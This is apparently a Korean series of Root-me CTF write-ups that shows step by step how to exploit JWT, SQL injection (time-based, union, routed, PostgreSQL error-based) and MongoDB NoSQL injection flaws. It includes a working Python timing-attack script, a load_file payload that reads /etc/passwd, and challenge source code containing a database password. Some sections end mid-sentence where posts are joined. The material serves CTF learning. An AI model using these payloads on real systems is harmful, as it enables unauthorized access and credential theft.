JSON 형식으로 계정 정보를 전송하니! Access Token 즉 JWT 값이 출력되었습니다.
획득한 값을 admin URL 내 Authorization 헤더에 삽입하여 전송하였지만, 토큰이 Revoke(취소)되었다는 에러 메시지가 출력됩니다ㅠㅠ
문제 페이지 내에 있는 소스코드를 분석해보니, access_token 값의 유효 시간은 3분이고 해당 값을 발급하자마자 Black List로 보내버립니다. 즉, 저희는 유효하지만 발급되지 않은 JWT 토큰 값이 필요합니다.
이전 문제나, JWT Attack과 관련된 모든 방법을 다 써보았지만, 해결을 못하고 있었는데 Root-me에는 의견을 공유하는 게시판? 느낌의 메뉴가 있었습니다. 혹시나 해서 들어가 봤는데 역시나 저와 같은 문제로 인해 해결을 못한 사람들이 질문을 먼저 올려두었더라고요.
해당 질문의 답변에서 유용한 정보를 얻을 수 있었습니다. RFC 4648이 도움이 될 것이라는 것을 말이죠.
RFC 4648
RFC 4648은 일반적으로 사용되는 BASE64/32/16 encoding scheme에 대한 내용이다. 이는 또 인코딩 된 데이터의 line-feed, padding, 비(非) 알파벳 문자, 다른 방식으로 인코딩 된 알파벳 등의 사용과 규범적인 인코딩에 대한 내용을 다루고 있다.
즉, 지정된 Base64의 포맷의 텍스트로 데이터를 반환하는 RFC의 표준입니다. 다른 형식을 찾아보면
RFC 번호
Text Encoding 지침
1421
최대 64의 행 길이 및 CRLF 라인 끝
2045
최대 76의 행 길이 및 CRLF 라인 끝
3548
줄바꿈이 추가되지 않음(구 버전)
4648
줄바꿈이 추가되지 않음(Default)
4880
최대 76의 행 길이, CRLF 라인 끝 및 추가된 24비트 CRC 값
등이 있습니다.
즉, 정확하게는 모르겠지만 BASE64 인코딩과 관련이 있다는 것을 예상할 수 있습니다.
JWT 값은 1. 헤더(Header), 2.정보(Payload), 3.서명(Signature) 가 각각 BASE64 형식으로 인코딩 됩니다.
이 경우 BASE64으로 인코딩 된 결과 값이 A이던, A=던, A==이던 서버는 크게 상관하지 않습니다. 즉 같은 값으로 인식된다는 거죠.
따라서, 이를 이용해 발급받은 JWT 값에 "="를 붙여서 보낸다면 서버는 발급하진 않았지만, 유효한 토큰 값(Black List에 없는)으로 인식해서
Time based SQL Injection 관련 문제입니다. 관리자의 패스워드 데이터를 추출해내는 것이 목표입니다.
Time based(시간 기반) SQL Injection 공격은 Blind SQL Injection 공격의 한 유형입니다. SQL 쿼리 구문 삽입이 가능하지만 얻을 수 있는 정보가 제한될 때, SQL 구문이 참일 경우와 거짓일 경우 출력되는 결과 값을 차이를 이용해 Blind SQL injection 공격을 수행하고 있으나 이 마저도 확인할 수 없을 경우 Time based SQL Injection 공격이 사용됩니다.
아래는 시간 기반 SQL Injection 공격 시 사용되는 구문을 DBMS 별로 간략히 정리한 표입니다.
import httplib, urllib, time
import re
for y in range(1,14):
for x in range(33,127):
headers = {'Accept':'text/html','cookie':'PHPSESSID=------------------'}
conn = httplib.HTTPConnection("challenge01.root-me.org")
conn.request("GET","/web-serveur/ch40/?action=member&member=1;select+case+when+substr((select+password+from+users+limit+1+offset+0),"+str(y)+",1)=chr("+str(x)+")+then+pg_sleep(5)+else+pg_sleep(0)+end--",'',headers)
start=time.time()
response = conn.getresponse()
end=time.time()
if end-start > 2 :
print "count: ", y
print "x : ", x
break
conn.close()
위의 코드를 실행시키면 아래와 같은 결과 값을 획득할 수 있습니다.
위의 x에 해당하는 숫자를 아스키 코드 문자로 매칭 하면 관리자 패스워드(Flag) 값 획득에 성공합니다.
XSLT 관련 문제를 풀어보도록 하겠습니다. 취약한 부분을 찾아내서 서브 디렉토리에 존재하는 .passwd 파일을 읽는 것이 이 문제의 목적입니다. 처음 보는 용어였기 때문에 사전 조사부터 시작했습니다.
XSLT(Extensible Stylesheet Language Transformations) 취약점이란?
우선, XSL이란 XML 문서를 변환하기 위한 언어입니다. 따라서, XSLT란 XML 문서를 변환하는 자체를 의미하는데 변환 결과는 다른 XML 문서이거나 HTML 문서, CSV 파일 또는 일반 텍스트 파일과 같은 다른 형식의 파일일 수 있습니다.
그래서, XSLT 취약점은 XML 인젝션 취약점과 아주 유사하다고 할 수 있습니다. XSLT 원격 코드 실행 취약점의 예로는 .Net Ektron CMS에 영향을 주는 CVE-2012-5357, Apache Struts 2.0에 영향을 주는 CVE-2012-1592, Goole 검색 어플라이언스에 영향을 미치는 CVE-2005-3757 등이 있습니다.
문제에 들어가 보니 [Authentication]과 [Members] 두 개의 메뉴가 존재하고, [Authentication] 메뉴에는 로그인 폼이 있습니다. 로그인을 시도해보았지만 SQL Injection 포인트는 아닌 것 같아 보입니다.
이번에는 [Members] 메뉴를 클릭해 보았습니다. "admin" 계정이 보입니다. 클릭합니다.
"admin"을 클릭하면 URL 상에 GET 메소드로 action과 id 파라미터가 전송되는 것을 볼 수 있습니다.
id 파라미터는 1이라는 값을 전송하고 있습니다. admin 계정의 id 값으로 보입니다.
SQL Injection 취약 판단을 위해 우선 참 값의 SQL 구문을 전송해보았습니다.
id=1+and+1=1--(참) 쿼리 구문을 전송할 경우 정상적으로 admin 계정의 정보가 출력되고 있습니다.
이번에는 거짓 값의 SQL 구문을 전송합니다.
id=1+and+1=2--(거짓)쿼리 구문을 전송할 경우 결과 값이 없다는 에러가 출력됩니다.
SQL 쿼리 구문이 참일 경우와 거짓일 경우에 따라 결과 값이 상이하기 때문에 SQL Injection 포인트라고 판단하였습니다.
SQL Injection 포인트를 찾았으니, 본격적으로 정보를 수집해서 관리자의 패스워드를 획득해보도록 하겠습니다.
Step 1. 필드 수 파악
필드 수는 order by 구문을 이용해 판단 가능합니다.
id=1+order+by+4# 쿼리 문을 삽입하였을 때는 정상 값이 출력되지만, id=1+order+by+5# 쿼리 문을 삽입할 경우엔 에러가 출력되는 점을 이용해 필드 수는 4개라는 정보를 알 수 있습니다.
Step2. 데이터베이스 정보 수집(생략 가능)
필드 수가 4개라는 정보를 확인하였으니 union all select 구문을 이용해 DB 정보를 획득해보도록 하겠습니다.
id=1+and+1=2+1+and+1=2+union+all+select+1,2,3,concat(version(),user(),database())-- 쿼리문을 사용하여 각각 버전 정보, 유저명, 데이터베이스 명을 확인 가능합니다.
Step3. 테이블명 파악
id=1+and+1=2+union+all+select+1,2,3,table_name+from+information_schema.tables+where+table_type='base table'--쿼리문을 사용하여 테이블 명을 획득합니다. 테이블 명은 "member" 입니다.
※ 쿼리 문에 싱글 쿼터(')를 삽입할 경우 SQL 구문 에러가 발생하기 때문에 base table을 Ascii Hex 값으로 인코딩하여 삽입하는 방법으로 해당 에러를 해결하였습니다.
Step 4. 컬럼명 파악
id=1+and+1=2+union+all+select+1,2,3,group_concat(column_name)+from+information_schema.columns+where+table_name='member'-- 쿼리문을 사용하여 컬럼 명을 획득합니다. 컬럼은 각각"member_id", "member_login", "member_password", "member_email"로 총 4개입니다.
관리자의 패스워드를 획득하는 것이 목표이기 때문에 member_password 컬럼을 사용하면 될 것 같습니다.
Step5. 데이터 파악
id=1+and+1=2+union+all+select+1,2,3,member_password+from+member-- 쿼리문을 사용하여 관리자의 패스워드를 획득합니다. 어차피 데이터(레코드)가 한 개뿐이므로 출력되는 값이 관리자 패스워드입니다.
왠지 BASE64로 인코딩 된 값인 것 같아 디코딩해보았지만, 값이 깨져서 알 수가 없습니다..ㅠ
문제의 취지에 맞게 파일을 읽는 SQL Injection 공격을 시도해보았습니다.
load_file 함수를 이용해 시스템 자원을 다운로드 및 읽을 수 있습니다.
사용법 : select load_file([절대경로]); // 파일 접근 권한 필요
EX) - union select null, load_file('/etc/passwd')
- union select null, load_file(0x2f6574632f706173737764) // HEX Encoding
- union select null, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) // char 함수
id=1+and+1=2+union+all+select+1,2,3,load_file('/challenge/web-serveur/ch31/index.php')-- 쿼리문을 사용하여 index.php 파일을 불러옵니다. 해당 php 파일 내에 패스워드는 sha1 해쉬로 암호화되어 있으며, key 값과 base64 함수를 이용해 다시 인코딩하고 있습니다.
아래는 index.php 전문입니다.
<?php
define('SQL_HOST', ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB', 'c_webserveur_31');
define('SQL_LOGIN', 'c_webserveur_31');
define('SQL_P', 'dOJLsrbyas3ZdrNqnhx');
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");
if ( ! isset($_GET['action']) ) $_GET['action']="login";
if($_GET['action'] == "login"){
print '<form METHOD="POST">
<p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
<p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
<p><input value=submit type=submit /></p>
</form>';
if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
{
$user = mysql_real_escape_string(strtolower($_POST['username']));
$pass = sha1($_POST['password']);
$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
if(mysql_num_rows($result) == 1)
{
$data = mysql_fetch_array($result);
if($pass == stringxor($key, base64_decode($data['member_password']))){
// authentication success
print "<p>Authentication success !!</p>";
if ($user == "admin")
print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
else
print "<p>But... you're not admin !</p>";
}
else{
// authentication failed
print "<p>Authentication failed !</p>";
}
}
else{
print "<p>User not found !</p>";
}
}
}
if($_GET['action'] == "members"){
if(isset($_GET['id']) && !empty($_GET['id']))
{
// secure ID variable
$id = mysql_real_escape_string($_GET['id']);
$result = mysql_query("SELECT * FROM member WHERE member_id=$id") or die(mysql_error());
if(mysql_num_rows($result) == 1)
{
$data = mysql_fetch_array($result);
print "ID : ".$data["member_id"]."<br />";
print "Username : ".$data["member_login"]."<br />";
print "Email : ".$data["member_email"]."<br />";
}
else{
print "no result found";
}
}
else{
$result = mysql_query("SELECT * FROM member");
while ($row = mysql_fetch_assoc($result)) {
print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
}
}
}
?>
참고로, /challenge/web-serveur/ch31/이 웹 루트인 것은... 무작위로 대입해보았습니다...ㅠ 다른 분들은 어떻게 파악했는지 궁금합니다...!
index.php 파일에 존재하는 함수와 획득한 관리자 패스워드 값을 이용하여 sha1 해쉬로 암호화되어 있는 실제 패스워드를 얻을 수 있었습니다.
문제를 풀기 전, Routed SQL Injection이 무엇인지, 어떻게 발생하는지에 대해 조사해보았습니다.
위는 Routed SQL Injection이 발생하는 취약한 코드입니다.
현재 코드는 첫 번째 쿼리의 결과 값이 두 번째 쿼리의 입력 값으로 사용되고 있습니다.
SQL Injection을 발생 시키려면, sec_code(첫 번째 쿼리의 출력)인 두 번째 쿼리에 대한 입력을 제어할 수 있어야 합니다.
즉, 첫 번째 쿼리에서 SQL Injection이 발생하고, 이의 영향이 두 번째 쿼리에 미쳐 두번째 쿼리에서도 SQL Injection이 발생하는 경우를 Routed SQL Injection이라고 칭합니다.
문제를 풀어보도록 하겠습니다. 문제에 접속하면 첫 페이지에 로그인 창이 뜹니다.
그냥 [admin/admin]으로 로그인 시도해보았습니다.
그냥 "Wrong login/password"라는 오류 메시지만 출력됩니다.
[Search] 탭을 클릭해봅니다.
[Search] 메뉴에서는 데이터베이스에 있는 계정을 검색할 수 있습니다.
admin을 검색했더니 ID는 3, email이 admin@sqli_me.com이라는 정보를 출력해주네요.
취약한 부분인지 판단하기 위해 싱글 쿼터(')를 삽입해보았습니다.
Syntax 에러가 발생하면서 에러 메시지가 출력되고 있습니다.
SQL Injection 할 경우 주로 사용되는 or, and 문자가 필터링되고 있어 Attack Detected 에러가 출력되고 있습니다.
그 대안으로 union select 구문을 이용해보았습니다.
'union select 1--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 1로 설정하고 있어, 두 번째 쿼리가 성공적으로 실행되어 결과 값 1에 대한 결과가 출력되고 있습니다. 첫 번째 값은 jean입니다.
'union select 2--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 2로 설정하고 있고, 값 2에 대한 결과가 출력되고 있습니다. 두 번째 값은 michel입니다.
'union select 3--+- 쿼리를 입력할 경우, 역시나 두 번째 쿼리 값을 3으로 설정하고 있고, 값 3에 대한 결과가 출력되고 있습니다. 세 번째 값은 admin입니다. (우리는 admin의 패스워드를 찾아야 합니다.)
'union select 3--+-쿼리를 입력할 경우, 빈 데이터가 출력되었습니다. 세 개의 데이터를 가지고 있음을 확인할 수 있겠죠.
이제는 관리자(admin)의 패스워드를 찾기 위한 사전 정보를 수집해보겠습니다.
Step 1. 필드 수 파악
필드 수를 확인하기 위해 order by 구문을 사용하였습니다. 두 번째 쿼리에 'order by 1-- - 값을 넣을 때, 서버에 존재하는 문자열 필터링을 우회하기 위해 Ascii Hex 인코딩을 하였습니다.
'union select 0x276f7264657220627920312d2d202d--+-쿼리를 입력할 경우, 빈 데이터가 출력됩니다.
숫자를 하나씩 증가시켜 보겠습니다. 두 번째 쿼리에 'order by 2-- - 쿼리를 넣었을 때도 마찬가지로 빈 데이터가 출력되지만 'order by 3-- - 쿼리를 넣으면 에러가 발생하고 있습니다.
'union select 0x276f7264657220627920332d2d202d--+-쿼리를 입력할 경우, 에러가 출력되고 있기 때문에, 필드 수는 2개 임을 확인할 수 있습니다.
Step 2. 테이블명 파악
테이블 명을 파악하기 위해 두 번째 쿼리에 테이블 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에
'union select 1,(select table_name from information_schema.tables where table_type='base table')-- -
위의 평문 쿼리를 이용하여
'union select 0x276f7264657220627920332d2d202d27756e696f6e2073656c65637420312c2873656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f747970653d2762617365207461626c6527292d2d202d--+-쿼리를 입력할 경우, users라는 테이블 명이 출력되었습니다.
Step 3. 컬럼명 파악
컬럼 명을 파악하기 위해 두 번째 쿼리에 컬럼 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에
'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- -
위의 평문 쿼리를 이용하여
'union select 0x27756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27757365727327292d2d202d--+-쿼리를 입력할 경우, id, login, password, email라는 컬럼 명을 파악할 수 있습니다.
Step 4. 데이터 파악
마지막으로 관리자(admin)의 패스워드를 뽑아보도록 하겠습니다. 두 번째 쿼리에
'union select 1,(select password from users where email='admin@sqli_me.com')-- -
위의 평문 쿼리를 이용하여(admin을 검색할 경우 나왔던 email 값을 이용하였음)
'union select 0x27756e696f6e2073656c65637420312c2873656c6563742070617373776f72642066726f6d20757365727320776865726520656d61696c3d2761646d696e4073716c695f6d652e636f6d27292d2d202d--+-쿼리를 삽입해 관리자의 패스워드, 즉 Flag 값 획득에 성공하였습니다.'
위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.
1. VERSION 정보
,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.
2. 테이블 정보
,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)--구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.
3. 컬럼 정보
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)--구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.
두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)--구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다.
패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)--구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.
4. 데이터 정보
패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.
우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)--구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.
,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)--구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!
이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다. HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.
만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.
문제를 풀어보도록 하겠습니다.
문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다.
하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.
/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.
순서대로 end point에 접근해보면서 정보를 모아보았습니다.
우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.
그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.
username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.
그렇지만, admin이 아니라는 Error 메시지만 출력되네요.
이번에는 username=guest 값을 삽입해보았습니다.
JWT 토큰 값을 얻었습니다~!
JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.
NoSQL Injection 문제입니다. Admin 권한을 탈취하는 것이 아닌 hidden user를 찾는 것이 목표입니다.
그전에 앞서 우선 NoSQL 대해 알아보도록 하겠습니다.
NoSQL 이란?
NoSQL(=Not Only SQL)은 문서 저장소, 키값 저장소, 그래프 등과 같은 다른 저장 메커니즘에 의존하는 비관계형 데이터베이스입니다. 기존에 사용하던 관계형 데이터베이스로는 엄청난 수의 서버에 데이터를 배포해야 하는 소셜 네트워크 서비스를 제공할 수 없었기에 더 융통성 있고, 데이터의 저장 및 검색에 특화된 메커니즘, NoSQL이 각광받게 되었습니다.
가장 많이 쓰는 NoSQL DBMS로는 MongoDB, Cassandra, Redis 등이 있으며, NoSQL 데이터베이스의 인기는 지속적으로 증가하고 있는 추세입니다.
NoSQL 또한 초창기에는 보안적으로 미흡한 부분이 많이 보여지고 있습니다. 암호화, 인증 및 역할 관리 미흡, 네트워크 노출, DOS 공격 등을 허용하고 있었습니다. 그중에서 가장 자주 사용되는 공격 기법인 NoSQL Injection에 대해 써보려고 합니다.
$ne는 != 를 의미하는데, 이는 userid가 1이 아니고, passwd가 1이 아닌 항목, 즉 로그인 컬렉션의 모든 항목(사용자)을 반환한다는 것을 의미합니다. 따라서, 이 취약점을 이용해 로그인 인증 메커니즘을 우회해 로그인, 비인가 데이터 액세스, 비인가자 서비스 이용 등의 공격이 이루어질 수 있습니다.
문제를 풀어보면서 NoSQL Injection을 더 이해해보도록 하겠습니다.
문제에 들어가면, Nickname과 패스워드를 입력받는 로그인 폼이 보입니다.
어떤 방식으로 로그인이 이루어지는지 확인해보기 위해 admin/admin을 입력해보았습니다.
GET 메소드를 이용해 login, pass 파라미터가 전송되고 있습니다.
위에서 입력한 admin/admin의 결과 값은 Bad username or bad password!라고 로그인 에러가 출력됩니다.
앞에서 확인한 방법으로 $ne를 이용해 로그인 메커니즘 우회를 시도해보았습니다.
login이 admin 아니고, pass가 admin(임의 사용)이 아닌 사용자, test로 로그인되었습니다.
이번에는 login이 test가 아니고, pass가 admin이 아닌 사용자로 연결을 시도해보았습니다.
문제의 목표인 hidden user가 나오지 않고 그냥 admin으로 로그인되어버립니다.
MongoDB는 $ne 뿐만 아니라 많은 쿼리 연산자를 제공하고 있습니다.
{}[]()
관계 묶음
$ne
not equal
$regex
정규 표현식
', "
문자열 처리
$exist
키 존재 여부
$gt
>
:
연결자
$where
필터링 스크립트
$lt
<
MongoDB에서는 정규 표현식을 사용할 수 있었습니다.
따라서, login이 admin도 아니고 test도 아닌 사용자를 찾는 쿼리를 전송하니 hidden user가 출력되었습니다.
